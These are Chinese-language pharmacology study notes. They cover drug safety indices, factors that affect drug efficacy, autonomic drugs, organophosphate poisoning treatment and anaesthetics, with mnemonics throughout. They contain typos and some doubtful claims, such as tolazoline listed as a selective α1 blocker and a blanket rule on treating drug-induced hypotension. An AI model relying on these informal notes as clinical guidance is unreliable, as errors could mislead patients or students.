  1. 半数有效量（ED50）：能使群体中半数个体（50%）出现某一效应的剂量
  2. 半数致死量（LD50）：能使群体中半数个体（50%）出现死亡的剂量
  3. 治疗指数（TI）：TI = LD50 / ED50
  4. 安全指数：LD5 / ED95
  5. 安全范围：最小有效量和最小中毒量之间的距离
  6. 反应药物安全性的参数（治疗指数，安全指数，安全范围），数值越大越安全

第四章：影响药效的因素

一）概览

机体方面的因素

  1. 年龄
  2. 性别
  3. 病理因素
    • 肝功能不全
    • 肾功能不全
    • 营养不良
  4. 个体差异和遗传因素
  5. 种属差异

药物方面的影响

  1. 剂型
  2. 剂量
  3. 给药途径
  4. 给药时间
  5. 反复给药
  6. 药物的相互作用

二）机体方面的因素

年龄

  • 婴儿对影响水、盐代谢和酸碱平衡的药物敏感。
  • 新生儿的白蛋白含量比幼儿少，新生儿和早产儿的肝、肾功能未发育完全，药物消除能力低。
  • 小儿处于生长发育时期，常用中枢抑制药可影响智力发育。
  • 60 岁以上老年人的生理功能逐渐减退，对药物的耐受性相应较差，对药物的敏感性增加。
  • 老年人的用药剂量，一般为成年人剂量的 3/4 左右。

性别

  • 女性月经期和妊娠期，禁用剧泻药和抗凝血药

  • 在妊娠头三个月内，禁用抗代谢药、激素等能使胎儿致畸的药物

  • 临产前禁用吗啡等可抑制胎儿呼吸的镇痛药

  • 哺乳期用药也应注意，有些药物可进入乳汁影响婴儿

  • 头一两周全或无，要么没事要么流

    三周三月易致畸，三周五周最致畸

    三月之后人形成，但是仍然有风险

    影响中枢和生殖，不用药物是首选

病理因素

肝功能不全

  1. 代谢慢，容易蓄积中毒
  2. 甲苯磺丁脲、氯霉素等，由于肝的生物转化速率减慢，因而作用加强，持续时间延长
  3. 可的松、泼尼松等需在肝经生物转化后始有效的药物，则作用减弱
  4. 不经肝脏转化的药物使用不受影响，如在肝功能不全时可用氢化可的松或泼尼松龙

肾功能不全

  • 主要排泄，容易蓄积中毒
  • 肾功能不全致经肾脏消除的药物排泄减慢，导致药物的蓄积中毒
    • 氨基糖苷类：卡那霉素、庆大霉素等；
    • 头孢唑啉（第一代头孢菌素类）

营养不良

  • 药物与血浆蛋自结合率降低，血中游离型药物增多，容易中毒
  • 肝微粒体酶活性低、数量少，药物代谢减慢
  • 因脂肪组织较少，可影响药物的储存

个体差异和遗传因素

个体差异

  • 量的差别：高敏性和耐受性
  • 质的差异：如变态反应、特异质反应等

遗传因素

  • 少年型恶性贫血：由于胃内缺乏内因子，使维生素 B12 在肠内不能吸收
  • 先天性缺乏葡萄糖-6-磷酸脱氢酶患者：对治疗量的乙酰水杨酸、奎宁、伯氨喹、磺胺类药等可引起溶血
  • 异烟肼乙酰化分为快代谢型和慢代谢型：慢代谢型者肝中乙酰化酶活性低，服药后异烟肼血药浓度较高，t1/2 延长显效较快

种属差异

  • 种属差异：人与动物间的差异
  • 种族差异：对药物代谢酶的活性和作用靶点的敏感性有显著影响

三）药物方面的影响

剂型

  • 口服给药的吸收速率为：水溶液>散剂>片剂
  • 缓释制剂：可使药物按一级速率缓慢释放，吸收时间较长，药效维持时间也延长
  • 控释制剂：是指药物按零级速率缓慢释放，使血药浓度稳定在有效浓度水平，产生持久药效

剂量

  • 剂量增加，作用增强
  • 产生不同作用，如：镇静、催眠、抗惊厥
    • 小剂量地西泮：镇静
    • 中剂量地西泮：催眠
    • 大剂量地西泮：抗惊厥
  • 影响选择性，如：多巴胺

给药途径

  • 影响药效出现时间
    • 静脉注射>吸入>肌内注射>皮下注射>口服>皮肤给药
  • 影响作用性质
    • 硫酸镁，口服给药，泻下作用
    • 硫酸镁，注射给药，抗惊厥、扩血管（首选用于妊高症）
    • 硫酸镁，外敷，消炎去肿

给药时间

  • 一般饭前服药吸收较好，发挥作用较快；饭后服药吸收较差，显效也较慢；
  • 有刺激性的药物，宜饭后服用；
  • 催眠药宜在临睡前服用，胰岛素应在餐前注射；
  • 按生物节律用药：如肾上腺皮质激素一日量早晨一次服用，可减轻对腺垂体抑制的副作用。

反复用药

耐受性

  • 指连续用药后机体对药物反应性下降
    • 快速耐受性（药效耐受性）
      • 如：硝酸甘油、肝素
    • 慢性耐受性（代谢耐受性）

耐药性

  • 病原体和肿瘤细胞在长期用药后产生的耐受性，称耐药性

依赖性

  • 躯体依赖：生理依赖性，表现为戒断症状（成瘾性）
  • 精神依赖：心理依赖性（习惯性）

撤药症状（反跳现象）

  • 应逐渐减量

药物的相互作用

配伍禁忌

概念
  • 指将药物混合在一起发生的物理或化学反应
例子
  • 内酰胺类抗生素可使氨基糖苷类失去抗菌活性
  • 青霉素在葡萄糖溶液中不稳定，易致过敏
  • 头孢曲松不能与含钙注射液（林格，复方等）配伍
  • 红霉素不能用生理盐水溶解

药动学相互作用

  • 抗酸药影响弱酸性药物在胃内的吸收
    • 酸酸碱碱促吸收，碱碱酸酸促排泄
  • 与血浆蛋白结合率高的药物合用，作用增强，毒性加大
  • 游离型 <===> 结合型
    • 游离型
      • 发挥药理作用
      • 跨膜转运
      • 代谢排泄
    • 结合型
      • 没有活性
      • 暂时的贮库
  • 阿依水 ，抢蛋白，格列类，华法林，被抢劫，被游离，易过量，易中毒，低血糖，低凝血
    • 阿司匹林，依他尼酸，水和陆全

药效学相互作用

协同作用
  • 相加作用：两药合用作用 = 单用时作用之和
  • 增强作用：两药合用作用 > 单用时作用之和
  • 增敏作用：药 1 可使组织或受体对药 2 的敏感性增强
拮抗作用
  • 相减作用：两药合用作用 < 单用时作用之和
  • 抵消作用：两药合用作用 = 0
  • 生理性拮抗：阿托品抢救有机磷中毒
  • 化学性拮抗：鱼精蛋白解救肝素过量
拮抗机制典型例子
物理性拮抗剂药用炭：吸附中毒物质
蛋白、牛乳：沉淀重金属
化学性拮抗剂酸碱中和
二巯丙醇：夺取已与组织中酶系统结合的金属物等
鱼精蛋白：解救肝素过量
生理性拮抗剂阿托品：拮抗有机磷中毒
毛果芸香碱：拮抗颠茄碱类中毒
纳洛酮：拮抗吗啡中毒
氟马西尼：拮抗苯二氮（卓）类中毒

第五章：传出神经系统药理概论

一、传出神经系统的结构和功能

一）概述

  • 传出神经系统
  • 什么是交感、副交感
  • 交感、副交感的功能
  • 交感神经兴奋时，效应器的表现
  • 副交感（迷走）神经兴奋时，效应器的表现

二）神经系统

  • 中枢神经系统
  • 外周神经
    • 传入神经（感觉神经）
    • 传出神经（运动神经）
      • 躯体运动神经，支配：骨骼肌
      • 内脏运动神经（自主神经），支配：心肌、平滑肌和腺体
        • 交感神经
        • 副交感神经

三）交感和副交感的功能

概述

  • 交感：耗能的应急反应（迎战或逃跑）
  • 副交感：储能的促生长、休整、生命所必须的活动（吃饭或睡觉等）

交感神经兴奋

  • α，β 受体被激动的结果
  • 眼：瞳孔散大，远调节（调节麻痹）
  • 大脑：兴奋，注意力上升
  • 肺：支气管扩张
  • 唾液：少而粘稠
  • 心脏：心率上升，收缩力上升，血压上升
  • 肝脏：糖原分解，血糖升高
  • 储能：脂肪分解，血脂升高，血管收缩，血供减少
  • 膀胱：括约肌收缩，逼尿肌舒张
  • 消化系统：蠕动减弱，括约肌收缩，血管收缩、血供减少
  • 肌肉：血管扩张，血供增加

副交感（迷走）神经兴奋

  • M 受体被激动的结果
  • 眼：瞳孔缩小，近调节（调节痉挛）
  • 肺：支气管收缩
  • 睡液：多而稀
  • 胃肠：腺体分泌增加，蠕动增强，括约肌舒张
  • 心脏：心率减慢，血压下降
  • 膀胱：括约肌舒张，逼尿肌收缩

二、传出神经系统的递质和受体

递质受体
乙酰胆碱（Ach）M，N1，N2 胆碱受体
去甲肾上腺素（NE）α，β 肾上腺素受体

三、传出神经系统受体的分布及效应

一）分布

表格

递质大类受体受体的位置
乙酰胆碱（Ach）M位于所有副交感神经支配的效应器上， 汗腺、骨骼肌血管 上
乙酰胆碱（Ach）NN1：位于神经节
乙酰胆碱（Ach）NN2：位于骨骼肌
去甲肾上腺素（NE）α位于皮肤黏膜，内脏的血管、瞳孔开大肌
去甲肾上腺素（NE）ββ1：位于心肌，肾小球旁系细胞
去甲肾上腺素（NE）ββ2：位于支气管、冠脉、骨骼肌的血管
多巴胺（DA）DD1：位于肾，肠系膜，心脑血管平滑肌，心肌
多巴胺（DA）DD2：位于交感神经节及突触前膜

快速记忆

  • 躯体运动神经：释放 Ach，作用于 N2，主要为骨骼肌

  • 内脏运动神经（自主神经）

    • 交感神经：释放 NE，作用于 α，β
    • 副交感神经：释放 Ach，作用于 M
    • 内脏运动神经主要在心肌、平滑肌和腺体上

二）效应

概述

  • M 样作用：副交感神经兴奋时的表现 -> 汗腺分泌、骨骼肌血管舒张
  • N2 样作用：骨骼肌被激动时的表现
  • N1 作用：交感（主要为心血管）和副交感（主要为胃肠道），影响 N1 受体的几乎都是毒

简记

α1 受体
  • 位于
    • 血管平滑肌（皮肤、粘膜、内脏密度高）
    • 瞳孔扩大肌
  • 激动后，表现为以上效应器收缩
β1 受体
  • 位于：心脏
  • 激动后，表现为
    • 窦房结兴奋，心率加快
    • 房室传导加快
    • 心肌收缩力加强
    • 输出量上升，收缩压上升，耗氧量上升
β2 受体
  • 位于
    • 骨骼肌血管（平滑肌）
    • 支气管（平滑肌）
    • 冠状动脉（平滑肌）
  • 激动后，表现为以上效应器舒张

生理机制

  • 血压骤升 -> 反射性兴奋迷走 -> 降血压
  • 血压骤降 -> 反射性兴奋交感 -> 升血压

四、传出神经系统药物的主要作用方式和分类

一）药物作用方式

  • 直接与受体结合：激动剂、拮抗剂
  • 影响递质：生物合成、储存、释放（转运）、灭活（转化）等
  • 总之：要么影响受体，要么影响递质

二）药物分类

拟似药

拟胆碱药
  • 胆碱受体激动药
    • M、N 受体激动药（乙酰胆碱）
    • M 受体激动药（毛果芸香碱）
    • N 受体激动药（烟碱）
  • 抗胆碱酯酶药（新斯的明、有机磷酸酯类）
拟肾上腺素药（肾上腺素激动药）
  • α，β 受体激动药（肾上腺素）
  • α 受体激动药（去甲肾上腺素）
  • β 受体激动药（异丙肾上腺素）

拮抗药

抗胆碱药
  • 胆碱受体阻断药
    • M 受体阻断药（阿托品）
    • N1 受体阻断药（美卡拉明）
    • N2 受体阻断药（筒箭毒碱、琥珀胆碱）
  • 胆碱酯酶复活药（氯解磷定）
抗肾上腺素药（肾上腺素受体阻断药）
  • α 受体阻断药（酚妥拉明）
  • β 受体阻断药（普萘洛尔）
  • α，β 受体阻断药（拉贝洛尔）

第六章：胆碱受体激动药

一、概述

  • 直接作用：可直接激动胆碱受体
  • M、N 受体激动药（乙酰胆碱）
  • M 受体激动药（毛果芸香碱）
  • N 受体激动药（烟碱）

二、M 受体激动药（毛果芸香碱）

三、简记

  • 拟胆碱药分两类，兴奋受体抑制酶
  • 匹罗卡品作用眼，外用治疗青光眼
  • 新斯的明抗酯酶，主治重症肌无力
  • 毒扁豆碱毒性大，作用眼科降眼压

第七章：抗胆碱酯酶药和胆碱酯酶复活药

一、概述

  • 间接作用：抑制 Ach 的水解，提高突触间隙 Ach 浓度
  • 易逆性胆碱酯酶抑制剂：新斯的明
  • 难逆性胆碱酯酶抑制剂：有机磷酸酯
  • 抑制 AChE 的活性，致使 ACh 不能被水解而大量堆积，从而激动 M 受体和 N 受体，产生 M 样作用和 N 样作用

二、抗胆碱酯酶药

一）易逆性胆碱酯酶抑制剂：新斯的明

二）难逆性胆碱酯酶抑制剂

概述

  • 种类：敌百虫，敌敌畏，马拉硫磷，对硫磷，内吸磷，乐果
  • 毒理：有机磷类 + 胆碱酯酶 = 磷酰化胆碱酯酶复合物 -> 老化（即不可复活）
  • 中毒表现
    • M 样症状 -> 轻度中毒
    • M + N 样症状 -> 中度中毒
    • M + N + 中枢症状 -> 重度中毒

有机磷酸酯类

药理及其作用

中毒后的治疗

  • 清除药物

    • 生理盐水或 NaHCO3 洗胃（敌百虫不可用）
    • 肥皂水清洗皮肤
    • 对硫磷不可用高锰酸钾洗胃

  • 解毒药物

    • 应用原则：联合、尽早、足量、反复

    • M 症状N 症状（肌震颤）中枢症状
      阿托品快速有效无效差
      AchE 复活药作用缓慢快速有效好

  • 其他措施：维持气道通畅、人工呼吸、给氧、抗休克治疗

三、胆碱酯酶复活药

一）有效基团

  • 肟基（与有机磷结合，使 AchE 复活）

二）代表药物

  • 碘解磷定（碘化醛肟吡胺，派姆），静脉给药；
    • 经常缺货
  • 氯解磷定较多用，静注或肌注；
  • 双复磷，用于重度中毒患者

三）药理作用

优点

  • 复活胆碱酯酶：肟基与磷酰基结合，AChE 游离复活；
  • 与体内游离的有机磷酸酯直接结合：阻止其与 AChE 结合；
  • 对神经肌肉接头处的 N2 受体有明显作用：迅速制止肌束震颤；
  • 可改善中枢中毒症状， 对 M 样作用弱

缺点

  • 对体内堆积的 ACh 无作用：故应与阿托品合用；
  • 对乐果中毒无效；
  • t1/2 短，需重复用药；
  • 对老化的胆碱酯酶无效

四、总结

一）中毒表现

  • M 样症状 -> 轻度中毒
  • M + N 样症状 -> 中度中毒
  • M + N + 中枢症状 -> 重度中毒

二）治疗

  • 首选：阿托品 + 解磷定
  • 阿托品：对抗 M 样症状
  • 解磷定：对抗 N 样症状、中枢症状

三）阿托品应用注意事项

  • 阿托品只可解除 M 样作用，对 N 样作用（骨骼肌震颤）无效
  • 早期、足量、重复给予阿托品，尽快达到阿托品化，还需减量、维持用药数日
  • 阿托品化的指征：瞳孔扩大、面部潮红、皮肤干燥、口干、心率加快

四）胆碱酯酶复活剂应用注意事项

  • 复活剂用量过大、注射过快或未经稀释直接注射，均可引起中毒，须特别注意
  • 复活剂在碱性溶液可以水解生成剧毒的氰化物，故不能与碱性药物并用
  • 中毒已超过三天或慢性中毒患者体内的乙酰胆碱酯酶已老化，复活剂无效

五）简记

  • 拟胆碱药分两类，兴奋受体抑制酶
  • 匹罗卡品作用眼，外用治疗青光眼
  • 新斯的明抗酯酶，主治重症肌无力
  • 毒扁豆碱毒性大，作用眼科降眼压

第八章：胆碱受体阻断药：M 胆碱受体阻断药

一、概述

  • 阿托品及其类似生物碱：阿托品、东莨菪碱、山莨菪碱
  • 阿托品合成代用品
    • 合成扩瞳药：后马托品、尤卡托品
    • 合成接痉药
      • 季铵类：溴丙胺太林（普鲁本辛）、异丙托溴铵
      • 叔胺类：苯海索、贝那替嗪（胃复康）
      • 选择性 M1 受体阻断药：哌仑西平

二、阿托品及其类似生物碱

一）阿托品

图解

简记

之一
  • 莨若碱类阿托品，抑制腺体平滑肌；
  • 瞳孔扩大眼压升，调节麻痹心率快；
  • 大量改善微循环，中枢兴奋须防范；
  • 作用广泛有利弊，应用注意心血管。
  • 临床用途有六点，胃肠绞痛立即缓；
  • 抑制分泌麻醉前，散瞳配镜眼底检；
  • 防止“虹晶粘”，能治心动缓；
  • 感染休克解疼挛，有机磷中毒它首选。
之二
  • 莨菪颠茄阿托品，阻断 M- 抗胆碱；
  • 尿不出去和便秘，老年痴呆青光眼；
  • 作用广泛有利弊，最好不用老年人。

其他

  • 唯有 阿托品：可解除迷走神经对心脏的抑制而治疗缓慢型心律失常
  • 利多卡因、苯妥英钠内：可用于治疗强心苷中毒时的快速型室性心律失常
  • 普萘洛尔：首选用于窦性心动过速
  • 奎尼丁：可将地高辛从组织中置换出来，升高其血浓度而加重中毒

二）阿托品类生物碱

东莨菪碱：对中枢作用强

山莨菪碱：对外周作用强

三、阿托品合成代用品

一）分类

  • 合成扩瞳药（作用较阿托品起效快，持续时间短）
    • 后马托品
    • 托吡卡胺
    • 环喷托酯
    • 尤卡托品
  • 合成解痉药
    • 异丙托溴铵
    • 溴丙胺太林（普鲁本辛）
    • 贝那替嗪（胃复康）

二）常用代用品及临床应用

  1. 溴丙胺太林：溃疡病、胃肠疼挛和泌尿道痉挛、遗尿症、妊娠呕吐
  2. 后马托品：扩瞳、调节麻痹作用较阿托品短暂（代替阿托品用于眼科检查）
  3. 贝那替嗪：解痉止痛，中枢安定（适用于兼有焦总症的溃疡病人）
  4. 苯海索：易通过血脑屏障，中枢作用强（帕金森病）
  5. 异丙托溴铵：慢性阻塞性肺疾病、支气管哮喘
  6. 哌仑西平：选择 M1 受体阻断剂，抑制胃酸分泌（消化性溃疡）

第九章：胆碱受体阻断药：N 胆碱受体阻断药

一、概述

  • N1-R 阻断药（神经节阻断药）：美加明
  • N2-R 阻断药（神经肌肉阻断药）
    • 除（去）极化型肌松药：琥珀胆碱
    • 非除（非去）极化型肌松药：筒箭毒碱

二、N1 受体阻断药：神经节阻断药

一）概述

  • 美卡拉明
  • 樟磺咪芬（速效、短效）

二）药理、临床应用和不良反应

三、N2 受体阻断药：神经肌肉阻断药（肌松药）

一）除极化型肌松药：琥珀胆碱

概览

药理作用

  • 激动 N2 受体
  • 持久去极化，使骨骼肌长期处于不应期状态

特点

  • 短暂肌束颤动后起效
  • 时间短暂、易于控制

临床应用

  • 静注用于短时操作
    • 如气管插管，消化道镜检
  • 静滴：较长手术

注意

  • 不能用新斯的明解救
  • 新斯的明对琥珀胆碱的影响：
    • 新斯的明 -> 抑制血浆胆碱酯酶 -> 琥珀酰胆碱灭活减慢 -> 肌松作用增强

二）非除极化型肌松药：筒箭毒碱

概览

药理作用

  • 阻断 N2 受体
  • 竞争性阻断受体，使骨骼肌不能收缩

特点

  • 肌松作用：慢而持久
  • 肌松顺序：眼部和头部 -> 颈部 -> 四肢 -> 躯干 -> 肋间肌 -> 隔肌

临床应用

  • 大手术的辅助麻醉

注意

  • 可以用新斯的明解救
  • 新斯的明对筒箭毒碱的影响：
    • 新斯的明 -> 抑制胆碱酯酶 -> ACh 浓度上升 -> 激动 N2 受体 -> 肌松作用减缓

第十章：肾上腺素受体激动剂

一、概述

一）α，β 受体激动药

  • 肾上腺素
  • 麻黄碱
  • 多巴胺

二）α 受体激动药

  • α1，α2 受体激动药： 去甲肾上腺素
  • α1 受体激动药：去氧肾上腺素
  • α2 受体激动药：羟甲唑啉

三）β 受体激动药

  • β1，β2 受体激动药： 异丙肾上腺素
  • β1 受体激动药：多巴酚丁胺
  • β2 受体激动药：沙丁胺醇

二、α，β 受体激动剂

一）肾上腺素（AD）：“副肾”

体内过程

  • 口服无效：消化道黏膜 α1 ↑ -> 血管收缩 -> 吸收少；首过效应
  • 肌注吸收快，作用短：骨骼肌血管 β2 ↑ -> 血管舒张 -> 吸收快
  • 皮下吸收慢，作用久：皮肤血管 α1 ↑，血管收缩 -> 吸收少而慢

药理作用、临床应用和不良反应

首选用于过敏性休克的原因

  • 激动 α1 受体：可收缩小动脉和毛细血管前括约肌，使血管通透性降低，减少渗出消除水肿 -> 缓解喉头水肿；
  • 激动 β1 受体：可改善心脏功能，强心 -> 升压；
  • 激动 β2 受体：可解除支气管平滑肌疼挛 -> 改善通气功能；
  • 抑制过敏介质释放：抑制过敏反应的发生。

升压作用的翻转

  • 肾上腺素对血管的作用
    • 激动 α1 受体：血管收缩，血压升高（皮肤粘膜、内脏）
    • 激动 β2 受体：血管舒张，血压下降（骨骼肌血管）
    • 两者相互平衡
  • 肾上腺素与 α1 受体阻断药同时存在时对血管的作用：
    • α1 受体阻断剂（如：酚妥拉明，氯丙嗪）+ 激动 α1 受体：血管收缩，血压升高（皮肤粘膜、内脏）
    • 激动 β2 受体：血管舒张，血压下降（骨骼肌血管）
    • 血压不升反降，因为 α1 受体被阻断
  • α1 受体阻断剂引起的低血压不能用肾上腺素解救，只能用 α1 受体的激动剂，即去甲肾上腺素来解救
  • 所有药物中毒引起的低血压，不要使用肾上腺素，一律使用去甲肾上腺素

记忆口诀

  • α, β 受体兴奋药，肾上腺素是代表；
  • 血管收缩血压升，局麻用它延时间；
  • 局部止血效明显，过敏休克当首选；
  • 心脏兴奋气管扩，哮喘持续它能缓；
  • 心跳骤停用“三联”，应用注意心血管；
  • α 受体被阻断，升压作用能翻转。

二）多巴胺（DA）

体内过程

  • 口服无效，主要静脉给药；
  • 5min 内起效，t1/2 约为2min，持续 5～10min，作用时间的长短与用量不相关；
  • 本药不易透过血脑屏障，故外周给予的多巴胺无明显中枢作用。

药理作用、临床应用和不良反应

  • 中小剂量一扩张肾血管一治疗肾衰；大剂量一收缩背血管一导致肾衰。

三）黄麻碱

作用特点

  • 性质稳定，口服有效；
  • 作用较 AD 和 DA，缓和持久；
  • 有中枢兴奋作用；
  • 连续使用可发生快速耐受性。
    • 在短期内反复应用作用可持续减弱，停药后可恢复。

药理作用、临床应用和不良反应

三、α 受体激动剂

一）α1，α2 受体激动药：去甲肾上腺素（“正肾”，NA）

药理作用、临床应用和不良反应

NA 静滴发生外漏的处理

  • 停止注射或更换部位
  • 热敷
  • 0.25% 普鲁卡因局部封闭
  • α 受体阻断剂，如酚妥拉明

记忆口诀

  • 去甲强烈缩血管，升压作用不翻转，
  • 只能静滴要缓慢，引起肾衰很常见，
  • 用药期间看尿量，休克早用间羟胺。

二）α1，α2 受体激动药：间羟胺（阿拉明）

  • 既能直接激动 α 受体，也可促进去甲肾上腺素（NA）的释放发挥间接作用；
  • 收缩血管，升高血压作用较去甲肾上腺素弱而持久；
  • 对肾脏血管的收缩作用也较弱，不易引起肾衰和心律失常，因此 已取代去甲肾上腺素用于抗休克 。

三）α1 受体激动药：去氧肾上腺素（新福林）

  • 兴奋瞳孔扩大肌；
  • 作用弱，时间短，一般不引起眼内压升高；
  • 作为快速短效扩瞳药，用于眼底检查。

四、β 受体激动药

一）β1，β2 受体激动药： 异丙肾上腺素

药理作用、临床应用和不良反应

记忆口诀

  • 异丙扩张支气管，哮喘急发它能缓，
  • 扩张血管治“感染”，血容补足效才显。
  • 兴奋心脏复心跳，加速传导律不乱，
  • 哮喘耐受防猝死，甲亢冠心切莫选。

二）β1 受体激动药：多巴酚丁胺

  • 选择性激动 β1 受体，兴奋心脏
  • 主要增强心肌收缩力和增加心排出量，对心率影响弱
  • 主要用于治疗心肌梗塞并发心力衰竭（短时使用）

三）β2 受体激动药：沙丁胺醇（舒喘灵）

  • 选择性激动支气管平滑肌上的 β2 受体
  • 作用强而持久的舒张作用；对 心血管系统和中枢神经系统影响较小
  • 是临床上治疗支气管哮喘的一线主要药物
  • 同类药物： 克仑特罗、沙美特罗、特布他林、奥西那林

第十一章：肾上腺素受体拮抗剂

一、β 受体拮抗剂

一）概述

  • I 类：非选择性 β 受体拮抗剂
    • A 类：普萘洛尔、噻马洛尔
    • B 类：氧烯洛尔、吲哚洛尔
  • II 类：选择性 β1 受体拮抗剂
    • A 类：阿替洛尔、美托洛尔
    • B 类：普拉洛尔、醋丁洛尔
  • III 类：α, β 受体拮抗剂：拉贝洛尔
  • 注意
    • A 类药物均无内在拟交感活性（ISA）
    • B 类药物均有内在拟交感活性（ISA）

二）记忆口诀

  • β 受体阻断药：洛尔
  • β 受体阻断药，普萘洛尔是代表，
  • 临床治疗高血压，心律失常心绞痛。
  • 三条禁忌记心间，哮喘心衰心动缓。
  • β1 长在心脏上，阻断效果是四降；
  • 降率降传降耗氧，降低输出降血压；
  • β2 长在气管上，还有冠脉和腿上；
  • 阻断无益反不良，哮喘急冠和肢凉。

三）普萘洛尔（心得安）

四）其他药物

  • 有内在拟交感活性的 β1, β2 受体阻断药：吲哚洛尔（吲哚心安，心得静）
    • 对 β1, β2 受体无选择性
    • 作用强度为普萘洛尔的 6～15 倍
    • 有膜稳定作用，较弱
    • 其特点是内在拟交感活性最强
  • 无内在活性的 β1 受体阻断药：阿替洛尔（氨酰心安）、美托洛尔（美多心安，倍他乐克）
    • 选择性阻断 β1 受体，无 ISA；
    • 一般不诱发或加重支气管哮喘；
    • 对血糖影响少（糖尿病患者宜选用）；
    • 主要用于治疗高血压、心律失常和心绞痛、甲亢、偏头痛等
  • 有内在活性的 β1 受体阻断药：醋丁洛尔（醋丁酰心安）
    • 选择性阻断 β1 受体，有 ISA，有膜稳定作用
    • 首过效应较明显
    • 用于高血压，心绞痛及心律失常，一般不良反应同普萘洛尔

二、α 受体拮抗剂

一）概述

  • 非选择性 α 受体拮抗剂：酚妥拉明
  • 选择性 α1 受体拮抗剂：妥拉唑林，特拉唑嗪

二）记忆口诀

  • α1 受体阻断药：“唑嗪”
  • 特拉唑嗪哌唑嗪，扩张血管降血压
  • 一般不做首选药，属于二线降压药
  • 引起体位低血压，起得太猛易摔倒
  • 最好使用控释剂，最好用在睡觉前
  • 同时扩张下尿道，老年男性较适用

三）酚妥拉明

四）其他药物

  • 酚苄明
    • 酚苄明作用较酚妥拉明强而持久；
    • 临床主要用于治疗外周血管痉挛性疾病，亦可用于嗜铬细胞瘤和休克的治疗。
  • 妥拉唑林
    • 拟胆碱作用和组胺作用较强；
    • 临床主要用于治疗外周血管痉挛性疾病。

第十二章：中枢神经系统药理概论

局部麻醉药

全身麻醉药

镇静催眠药

抗癫痫药和抗惊厥药

抗精神失常药

抗帕金森病药和老年痴呆药

中枢兴奋药

镇痛药

第十三章：全身麻醉药

一、概述

  • 作用：抑制中枢神经系统功能，使意识、感觉和反射暂时消失，骨骼肌松弛。
  • 应用：主要用于外科手术前麻醉。

二、吸入麻醉药

一）概述

  • 是一类挥发性液体（如异氟烷、恩氟烷、七氟烷及地氟烷等）或气体（如氧化亚氮）。
  • 经呼吸道吸入，通过肺泡毛细血管膜弥散入血。吸收后发生由浅入深的麻醉。

二）共同特征

  • 强大的脂溶性
    • 溶于神经细胞膜脂质层：“冰冻作用”
    • 与细胞内类脂质结合：“干扰细胞功能”
  • 氧化亚氮除外 ，氧化亚氮是作用于神经元上的受体

三）药动学

吸收

最小肺泡浓度（MAC）
  • 概念：在一个大气压下，能使 50% 患者痛觉消失的肺泡气体中药物的浓度。
  • 意义：MAC 越低，药物的麻醉作用越强，两者成反比，负相关
血/气分布系数
  • 概念：指血中药物浓度与吸入气中药物浓度达到平衡时的比值
  • 意义：血/气分布系数大的药物诱导期长

分布

脑/血分布系数
  • 概念：指脑中药物浓度与血液浓度达到平衡时的比值
  • 意义：系数大的药物易进入脑组织，诱导期短。

代谢

  • 无

消除

  • 吸入性麻醉药主要经肺泡以原形排泄

总结

  • 影响麻醉诱导的因素
    • 血/气分布系数大的药物，诱导期长
    • 脑/血分布系数大的药物，诱导期短
  • 影响麻醉苏醒的因素
    • 肺通气量大
    • 脑/血和血/气分布系数较低的药物较易排出，恢复期短，苏醒快

四）常用吸入麻醉药及其特点

异氟烷和恩氟烷

  • 互为同分异构体，是目前广泛使用的吸入麻醉剂
  • 麻醉诱导期短，苏醒快，麻醉深度易于调整，肌肉松弛作用较好
  • 不增加心肌对儿茶酚胺的敏感性

地氟烷

  • 优点：最大的特点是诱导期极短、且苏醒快；
  • 缺点：因所需浓度太大刺激呼吸道引起咳嗽、呼吸停顿、喉头痉挛；
  • 价格昂贵，现已少用

七氟烷

  • 无明显刺激性
  • 麻醉诱导期短、平稳、舒适，麻醉深度易于控制，病人苏醒快
  • 目前广泛用于诱导麻醉和维持麻醉

五）氧化亚氮

作用机制

  • 与抑制中枢 N-甲基-D-天冬氨酸(NMDA) 受体有关

优点

  • 无色味甜无刺激性气体，性质稳定，不燃不爆；
  • 对呼吸道无刺激性
  • 诱导期短，苏醒快，麻醉效能低， 镇痛作用强

应用

  • 主要用于诱导麻醉或与其他全身麻醉药配伍

三、静脉麻醉药

一）硫喷妥钠

特点

  • 再分布
  • 血 -> 脑（起效）-> 脂肪（失效）
  • 快速起效，起效虽快，维持时间短暂

优点

  • 降低脑血流量、脑代谢和脑耗氧量
  • 麻醉期不升高颅内压

缺点

  • 抑制呼吸
  • 镇痛作用和肌肉松弛作用弱
  • 可诱发喉头和支气管疼挛（用药前皮下注射硫酸阿托品可预防）

应用

  • 临床主要用于诱导麻醉、基础麻醉

禁忌症

  • 支气管哮喘者禁用

二）氯胺酮

特点

  • 分离麻醉：意识和感觉的分离状态称之为分离麻醉。
  • 抑制丘脑和新皮质系统：选择性阻断痛觉冲动的传导
  • 兴奋脑干及边缘系统：引起意识模糊，短时记忆缺失，痛觉完全消失，梦幻和肌张力增加等

优点

  • 起效快，作用时间短， 镇痛力强 ，是静脉麻醉药中唯一有显著镇痛作用者

缺点

  • 可使肌张力增高，麻醉过程中可见肢体活动；
  • 边缘系统兴奋，可导致患者在苏醒期情绪方面的过度活动
  • 对呼吸影响小，但可使心率加快、血压升高

应用

  • 对体表镇痛作用强内脏镇痛作用差
  • 故临床适用于小手术和烧伤清创、切、植皮等

三）丙泊酚

优点

  • 起效快，作用时间短，苏醒迅速完全，作用强度为硫喷妥钠的 1.8 倍
  • 可降低脑代谢率、颅内压、眼内压

缺点

  • 主要不良反应为对心血管和呼吸系统有抑制作用，注射过快可出现呼吸和（或）心脏暂停、血压下降等

应用

  • 用于全麻诱导、维持麻醉及镇静催眠辅助用药。

四）依托咪酯

  • 起效快，强度约为硫喷妥钠的 12 倍
  • 对心血管影响小，可用于诱导麻醉
  • 大剂量快速静脉注射本品可有呼吸抑制
  • 应用本品后可出现阵挛性肌收缩，恢复期出现恶心、呕吐症状

五）羟丁酸钠

优点

  • 静脉注射约 10 分钟即可麻醉，呼吸减慢，对心血管影响小
  • 适用于老人、儿童及神经外科手术、外伤烧伤患者的麻醉

缺点

  • 肌肉松弛作用较差，大剂量单用可出现谵妄、肌肉抽动
  • 常需与肌松药、地西泮合用

禁忌

  • 严重高血压、心脏房室传导阻滞及癫痫患者禁用

第十四章：局部麻醉药

一、定义

  • 药物作用于神经末梢或神经干，能暂时、完全、可逆性的阻断神经冲动的产生和传导，在意识清醒的条件下引起局部感觉丧失的药物。
  • 注意：高浓度时，运动神经也可被麻痹，运动功能也将丧失

二、局麻药的应用方法

  • 表面麻醉
  • 浸润麻醉
  • 传导麻醉
  • 蛛网膜下腔麻醉（腰麻）
  • 硬膜外麻醉

三、药理作用

  • 局部麻醉作用（治疗作用）
    • 细神经 > 粗神经；
    • 无髓鞘 > 有髓鞘；
